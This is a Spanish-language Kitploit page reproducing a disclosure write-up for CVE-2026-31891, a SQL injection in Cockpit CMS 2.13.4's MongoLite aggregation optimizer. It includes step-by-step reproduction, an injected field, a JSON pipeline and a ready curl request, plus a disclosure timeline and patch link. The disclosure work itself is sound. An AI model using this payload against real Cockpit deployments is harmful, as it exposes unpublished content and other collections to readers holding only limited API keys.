Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31891 — Inyección SQL en el optimizador de agregación de MongoLite a través de toJsonExtractRaw() | Kitploit
Herramientas/GitHubGitHub/ffasterss/cve-2026-31891
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubffasterss/cve-2026-31891

CVE-2026-31891

Inyección SQL en el optimizador de agregación de MongoLite a través de toJsonExtractRaw()

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección SQL en el Optimizador de Agregación de MongoLite mediante toJsonExtractRaw()

  • Clase de vulnerabilidad: Inyección SQL (CWE-89)
  • Producto: Cockpit CMS (Edición Core)
  • Versión afectada: 2.13.4 y probablemente todas las versiones desde que se introdujo el Optimizador de Agregación
  • Imagen Docker probada: cockpithq/cockpit:core-2.13.4
  • Commit de origen: 7fe563023b7fae854c857d2e2dc0878ef28fbb5f (etiqueta 2.13.4)
  • GitHub: https://github.com/Cockpit-HQ/Cockpit
  • Fecha de descubrimiento: 2026-02-28
  • Puntuación CVSS: 7.7 (Alta) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

1. Resumen ejecutivo

Se ha identificado una vulnerabilidad de Inyección SQL en Cockpit CMS (Edición Core versión 2.13.4). La vulnerabilidad existe dentro del Optimizador de Agregación de , específicamente en el método . Los nombres de campos controlados por el usuario se concatenan directamente en las consultas SQL sin una sanitización adecuada.

MongoLite
toJsonExtractRaw()

Un atacante autenticado con acceso de lectura (mediante una clave API) a un Modelo de Contenido puede inyectar comandos SQL arbitrarios en el pipeline de agregación a través del endpoint REST /api/content/aggregate/{model}.

Esta falla permite a los atacantes:

  • Evadir el filtro de contenido publicado previsto (_state=1) para leer borradores no publicados.
  • Extraer el contenido completo de documentos de cualquier colección en la misma base de datos SQLite.
  • Enumerar el esquema interno de la base de datos mediante sqlite_master.

2. Reproducción del exploit paso a paso

Los siguientes pasos demuestran cómo un atacante puede evadir el filtro de autorización _state=1.

Requisitos previos

  • Cockpit CMS 2.13.4 o inferior
  • Una clave API con al menos acceso de lectura a un modelo de colección de contenido.

2.1: Configurar el modelo de contenido

  1. Inicie sesión en el panel de administración de Cockpit CMS como administrador.
  2. Navegue a Contenido > Modelos y cree un nuevo modelo llamado testcol.
  3. Agregue dos campos de Texto al modelo: title y body.

Captura de pantalla: Configuración del modelo de contenido testcol Configuración del modelo de contenido testcol

2.2: Configurar el rol y la clave API

  1. Navegue a Configuración > Roles.
  2. Cree o modifique un rol (por ejemplo, MasterRole) para que tenga permiso de LECTURA para el modelo testcol.

Captura de pantalla: Configuración de permisos de rol para la colección Configuración de permisos de rol para la colección

  1. Navegue a Configuración > API y Seguridad (Claves API).
  2. Agregue una nueva clave API y asígnele el MasterRole que acaba de configurar. Copie el valor de la clave (por ejemplo, API-b8e8...).

Captura de pantalla: Configuración de la clave API con el rol de acceso de lectura Configuración de la clave API con el rol de acceso de lectura

2.3: Crear contenido de muestra (incluido un borrador secreto)

  1. Vaya a Contenido > testcol.
  2. Cree un elemento titulado Public y establezca su estado en PUBLICADO (icono verde).
  3. Cree un segundo elemento titulado SECRET_DRAFT y establezca su estado en NO PUBLICADO (icono rojo).

Captura de pantalla: La lista de elementos que muestra un elemento publicado y otro no publicado La lista de elementos que muestra un elemento publicado y otro no publicado

2.4: Ejecutar el exploit

De forma predeterminada, las consultas API estándar solo devolverán contenido cuyo estado sea Publicado. Sin embargo, al inyectar SQL en el pipeline de agregación, se puede evadir el filtro de contenido publicado.

  1. Construya el siguiente payload. El payload sale de la función SQL json_extract() y agrega un comentario SQL -- para neutralizar el SQL final, apuntando específicamente a la cláusula WHERE que limita los resultados a elementos publicados.

Campo inyectado:

root@kitploit:~
$title') as _id FROM collections_testcol--

Pipeline JSON completo:

root@kitploit:~
[{"$group": {"_id": "$title') as _id FROM collections_testcol--", "c": {"$sum": 1}}}]
  1. Codifique en URL el pipeline JSON y envíe una solicitud GET mediante el navegador (o curl) al endpoint /api/content/aggregate/testcol. Asegúrese de reemplazar YOUR_API_KEY con la clave generada en el Paso 2.2:
root@kitploit:~
curl "http://localhost:8080/api/content/aggregate/testcol?api_key=YOUR_API_KEY&pipeline=%5B%7B%22%24group%22%3A%20%7B%22_id%22%3A%20%22%24title%27%29%20as%20_id%20FROM%20collections_testcol--%22%2C%20%22c%22%3A%20%7B%22%24sum%22%3A%201%7D%7D%7D%5D"

2.5: Verificación del exploit

Como se muestra en la captura de pantalla final a continuación, la respuesta de la API devuelve correctamente el elemento SECRET_DRAFT a pesar de estar marcado explícitamente como NO PUBLICADO. Esto confirma que la inyección SQL evita el mecanismo de autorización central de la aplicación y permite la extracción de datos no autorizada a través de la API.

Captura de pantalla: Extracción exitosa de los datos no publicados 'SECRET_DRAFT' Extracción exitosa de los datos no publicados 'SECRET_DRAFT'

3. Impacto -- consecuencia

En una implementación clásica de CMS headless, una clave API pública de solo lectura a menudo está incrustada/codificada en el JavaScript del frontend. Al explotar esta vulnerabilidad a través del endpoint API público, un atacante puede:

  • Evadir el filtro de contenido publicado para leer borradores no publicados, elementos archivados y contenido oculto.
  • Leer todas las colecciones de contenido en la misma base de datos content.sqlite, incluidas las colecciones para las que la clave API no está autorizada.
  • Enumerar el esquema de la base de datos mediante sqlite_master para descubrir todos los nombres y estructuras de tablas.

4. Cronología de divulgación

FechaAcción
2026-02-28Vulnerabilidad descubierta durante una investigación de seguridad autorizada
2026-03-02Informe enviado al proveedor
2026-03-02Corrección del proveedor -- https://github.com/Cockpit-HQ/Cockpit/commit/b6a0b45c5e8fe16f3027b889583cc3a9127ab4b0
2026-03-09Parche publicado v 2.13.5 -- https://getcockpit.com/releases

Apéndice:

  • https://github.com/Cockpit-HQ/Cockpit/security/advisories/GHSA-7x5c-vfhj-9628
  • https://www.cve.org/CVERecord?id=CVE-2026-31891
Descargar herramienta